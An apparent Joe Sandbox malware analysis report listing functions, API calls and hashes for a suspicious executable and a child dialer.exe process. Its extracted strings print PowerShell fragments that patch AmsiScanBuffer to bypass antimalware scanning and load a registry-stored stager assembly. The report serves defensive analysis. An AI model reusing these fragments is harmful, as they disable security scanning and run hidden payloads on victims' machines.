Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: 03e2f8987b7b3cbe52326c4479113de5a24e170e098d0b603ea798d99535c99a
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 37015E36600AA0C6D764DF6BE98814ABBA0F78CF80F084425EF5A43B19DF38D091CB40

Function 000002408A2A2DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002408A2A2D9B), ref: 000002408A2A2ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002408A2A2D9B), ref: 000002408A2A2F57

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: be321a534fd534bc05a886d8d5d864aed2f9582f8c95a6bb206268135cf946ec
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: 4391BE7270066089F7709F6E96C87AD6BA4F354B88F544109DF0AA7EA5DB34E8C2CF00

Function 000002408A292604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002408A2926E8
StrCpyW.SHLWAPI ref: 000002408A292701

Strings

\\.\pipe\, xrefs: 000002408A2926F3

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: 1279204164977c886c66c13ab335537950eda136c4da342761a90b7ff87db7fc
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: BB716F3630068146EB75DA2F9A887EBBB94B785F84F480016DE0A57F99DE34C5848B40

Function 000002408994A24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002408994A2E7

Strings

RCC, xrefs: 000002408994A2B5
MOC, xrefs: 000002408994A2AC

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: cc2454ad6ea742706e5d6021bc5e9c7e58a20a4b05696d38448617acd58f2851
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: A1618C33A05B84CAEB21EF69D58839D77A0F348B9CF144215EF8917B99DB38D496C708

Function 000002408A2923F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002408A2924DE
StrCpyW.SHLWAPI ref: 000002408A2924F5

Strings

\\.\pipe\, xrefs: 000002408A2924E9

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: ececdefe1ac0b5236df46aa0fea75aee35ab016135187b54f502e1ef08d528dd
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 2A51AF3630478182F7789A2FA6E87ABAB91F785B80F480025DF5913F99DA39C484CF40

Function 0000024089952DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 0000024089953071

Strings

dll, xrefs: 0000024089952E95

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: e3632cf0faa2884abe8bef25ae3ee24f3f2ff5deabc5a44064bd619f37204a38
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: EC617751D25F488DD563AF3D95EE33767187FA63C5F42D307EA8A71A61DB3894838200

Function 000002408A2A2B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002408A2A2C37
GetLastError.KERNEL32 ref: 000002408A2A2C59

Strings

U, xrefs: 000002408A2A2BE3

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 452eb158713b319a55f3bd794e444267236df8f4f9927895fcbc57923c6a53ab
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: C141E433314A5082DB30CF2AE5887AA77A1F398794F814021EF4D87B94DB7CD481CB40

Function 000002408A2998D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002408A299920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002408A29850B), ref: 000002408A299961

Strings

csm, xrefs: 000002408A29994E

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: 6eabd3e355e5b67f48db9442ae7b3dc10682e2ed0e11ffff51a4f034c56f9e24
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: A911FE32215B8482EB618F1AE64435A7BE5F788F94F584225DF9D07B68DF3DC5918B00

Function 0000024089947786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000240899477AC

Strings

ctor closure', xrefs: 0000024089947794
`vector constructor iterator', xrefs: 00000240899477B1

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: e2c22169e998d8ebacdb75025f40579bb88f2a2d899cdad298ac28063eea38fe
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: 98E08661A41B44D0DF029F26E5D82D833A0DB58B54F899122DA9C06315FA3CD1E9C301

Function 00000240899477E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000024089947808

Strings

destructor iterator', xrefs: 000002408994780D
ctor closure', xrefs: 00000240899477F0

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: a6216ee66644fc5ab5c7b77e7fa4c42cdb7eeced81df860a1891822be9313c50
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: D9E08661A41B44C0DF029F25D5D41983360E758B54F899122DA9C06315EA3CD1E5C300

Function 00000240899478EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00000240899478F5

Strings

rFeaturePresent, xrefs: 00000240899478FA
`scalar deleting destructor', xrefs: 0000024089947911

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 100149682c65cb0ab3353a091d46fbbfb1404d811749275f367980b11ed6bdd1
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 37D06722A21A84A5EE11FB08D9DD38A6374F394309F954411928D41975DF39CA8AC741

Function 000002408A291C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002408A291C6D
HeapAlloc.KERNEL32 ref: 000002408A291C7B
GetProcessHeap.KERNEL32 ref: 000002408A291CA0
HeapFree.KERNEL32 ref: 000002408A291CAE

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: edcad32d81738ade1f73171f2d87282f723bab7b196b67cd984df772c48bc63b
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: 17116D35B01B9081EA64CB6BA54C21A6BA1F789FD0F5D4128DF4D93B25DF38D482C700

Function 000002408A291268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002408A29126E
HeapAlloc.KERNEL32 ref: 000002408A29127D
GetProcessHeap.KERNEL32 ref: 000002408A291297
HeapAlloc.KERNEL32 ref: 000002408A2912A8

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 5d9185cc83e4cce889635d7ef653d7873b9f71e7106c0078a62238e334c61d6e
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: 40E06531B01A2086E7288FA7D84C349BBE1FB88F0AF08C024CA0907761DF7D94D98B80

Function 000002408A291000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002408A291006
HeapAlloc.KERNEL32 ref: 000002408A291015
GetProcessHeap.KERNEL32 ref: 000002408A291028
HeapAlloc.KERNEL32 ref: 000002408A291037

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: e984cb40b47b579263da4e65cd5ebbc8b440a42ac7779754c188b35efbbd470c
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: 1CE0E571711A6086E7289B67D94C259BBA1FB88B16F488024CA1907B21EF38A4D98A10

Analysis Process: weiuemyrzjra.exePID: 4280, Parent PID: 620COMMON

Executed Functions

Function 00007FF703781140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.1757680887.00007FF703781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF703780000, based on PE: true

Associated: 00000026.00000002.1757659925.00007FF703780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000026.00000002.1757711193.00007FF70378C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000026.00000002.1757738267.00007FF70378F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000026.00000002.1758159836.00007FF703A08000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000026.00000002.1758492789.00007FF703C7F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000026.00000002.1758576281.00007FF703CB8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ff703780000_weiuemyrzjra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction ID: 969fed1e4abdcc93504c53b4d2f275ba38e423981d955325edb4edaf05f1ad95
Opcode Fuzzy Hash: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction Fuzzy Hash: 6EB09230D4420A84E2423B01AC81258A2606F0CB80FD02020C40C22352CB6D50414B30

Analysis Process: dialer.exePID: 7936, Parent PID: 4280COMMON

Execution Graph

Execution Coverage:	76.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	96
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
CryptGenRandom.ADVAPI32 ref: 0000000140001043
CryptReleaseContext.ADVAPI32 ref: 0000000140001052

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 000000014000101C

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 1815803762-291530887
Opcode ID: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction ID: 74dd50a8ca20c1687fe1fd25669d783deb6ceb092ba3a030a89a64c3b25fe62d
Opcode Fuzzy Hash: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction Fuzzy Hash: 28F01976700B4082E711CB67E88438AA7A2BBCCB80F498025DB5947729DEB4C956C740

Function 0000000140001C9C Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 196
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001CB7
HeapAlloc.KERNEL32 ref: 0000000140001CC8
GetProcessHeap.KERNEL32 ref: 0000000140001CE0
HeapAlloc.KERNEL32 ref: 0000000140001CEE

Part of subcall function 0000000140001000: CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
Part of subcall function 0000000140001000: CryptGenRandom.ADVAPI32 ref: 0000000140001043
Part of subcall function 0000000140001000: CryptReleaseContext.ADVAPI32 ref: 0000000140001052

StrStrIW.KERNELBASE ref: 0000000140001D1A
StrStrIW.SHLWAPI ref: 0000000140001D4A
StrNCatW.SHLWAPI ref: 0000000140001D6D
StrCatW.SHLWAPI ref: 0000000140001D7D
StrCatW.SHLWAPI ref: 0000000140001E65
StrCatW.SHLWAPI ref: 0000000140001E73
StrCatW.SHLWAPI ref: 0000000140001E8D
StrNCatW.SHLWAPI ref: 0000000140001EA1
StrCatW.SHLWAPI ref: 0000000140001EB2
StrCatW.SHLWAPI ref: 0000000140001EC6
StrCatW.SHLWAPI ref: 0000000140001EE9
StrStrIW.SHLWAPI ref: 0000000140001F07
StrCatW.SHLWAPI ref: 0000000140001F27
StrCpyW.SHLWAPI ref: 0000000140001F33
GetProcessHeap.KERNEL32 ref: 0000000140001F39
HeapFree.KERNEL32 ref: 0000000140001F47
GetProcessHeap.KERNEL32 ref: 0000000140001F4D
HeapFree.KERNEL32 ref: 0000000140001F5B

Strings

gfff, xrefs: 0000000140001DEB
)+', xrefs: 0000000140001E79
'+', xrefs: 0000000140001E82, 0000000140001EA7
gfff, xrefs: 0000000140001DBF
'+[Char](, xrefs: 0000000140001E5A
0, xrefs: 0000000140001DAB

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$Crypt$AllocContextFree$AcquireRandomRelease
String ID: '+'$'+[Char]($)+'$0$gfff$gfff
API String ID: 3510167801-2888743547
Opcode ID: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction ID: 860a95141ccdf47dad873dcb7fdad07428551a8c4d737b9ab5c8568f3082a9eb
Opcode Fuzzy Hash: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction Fuzzy Hash: 6A715CB2710B5696EB16DF67FC187D927A6FB89BC8F448025EE0A47B65DE38C509C300

Function 0000000140001A7C Relevance: 45.6, APIs: 8, Strings: 18, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001A85
HeapAlloc.KERNEL32 ref: 0000000140001A96
StrCpyW.SHLWAPI ref: 0000000140001AA9

Part of subcall function 000000014000114C: GetModuleHandleA.KERNEL32 ref: 0000000140001157
Part of subcall function 000000014000114C: GetProcAddress.KERNEL32 ref: 000000014000116E

StrCatW.SHLWAPI ref: 0000000140001ADF
StrCatW.SHLWAPI ref: 0000000140001AEF
StrCatW.SHLWAPI ref: 0000000140001AFF
StrCatW.SHLWAPI ref: 0000000140001B0F
StrCatW.SHLWAPI ref: 0000000140001B1F

Strings

[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe, xrefs: 0000000140001AF5
AmsiPtr, xrefs: 0000000140001BD2
Kernel32Ptr, xrefs: 0000000140001BA5
function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type], xrefs: 0000000140001AD5
VirtualProtectDelegate, xrefs: 0000000140001B96
ParameterTypes, xrefs: 0000000140001B3C
NativeMethods, xrefs: 0000000140001B69
ReturnType, xrefs: 0000000140001B4B
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I, xrefs: 0000000140001B05
LoadLibraryDelegate, xrefs: 0000000140001B87
VirtualProtectPtr, xrefs: 0000000140001BC3
Get-Delegate, xrefs: 0000000140001B2D
[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);, xrefs: 0000000140001AE5
TypeBuilder, xrefs: 0000000140001B5A
GetProcAddress, xrefs: 0000000140001B78
AmsiScanBufferPtr, xrefs: 0000000140001BE1
LoadLibraryPtr, xrefs: 0000000140001BB4
OldProtect, xrefs: 0000000140001BF0

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AddressAllocHandleModuleProcProcess
String ID: AmsiPtr$AmsiScanBufferPtr$Get-Delegate$GetProcAddress$Kernel32Ptr$LoadLibraryDelegate$LoadLibraryPtr$NativeMethods$OldProtect$ParameterTypes$ReturnType$TypeBuilder$VirtualProtectDelegate$VirtualProtectPtr$[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);$[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe$function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]
API String ID: 3242894177-3709903795
Opcode ID: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction ID: 14a767466f4e457cf388ac16d0af6f49bf344e7045f9ae0e12022511aa144a10
Opcode Fuzzy Hash: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction Fuzzy Hash: 38416BF8284702A1FA1BEF17B8557D52365A78DBC5F846261BE0A473B69EBCC108C394

Function 000000014000117C Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 281
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400011A7
SysAllocString.OLEAUT32 ref: 00000001400011B7
SysAllocString.OLEAUT32 ref: 00000001400011C7
SysAllocString.OLEAUT32 ref: 00000001400011D3
SysAllocString.OLEAUT32 ref: 00000001400011E3
SysAllocString.OLEAUT32 ref: 00000001400011F3
CoInitializeEx.OLE32 ref: 0000000140001200
CoInitializeSecurity.COMBASE ref: 0000000140001237
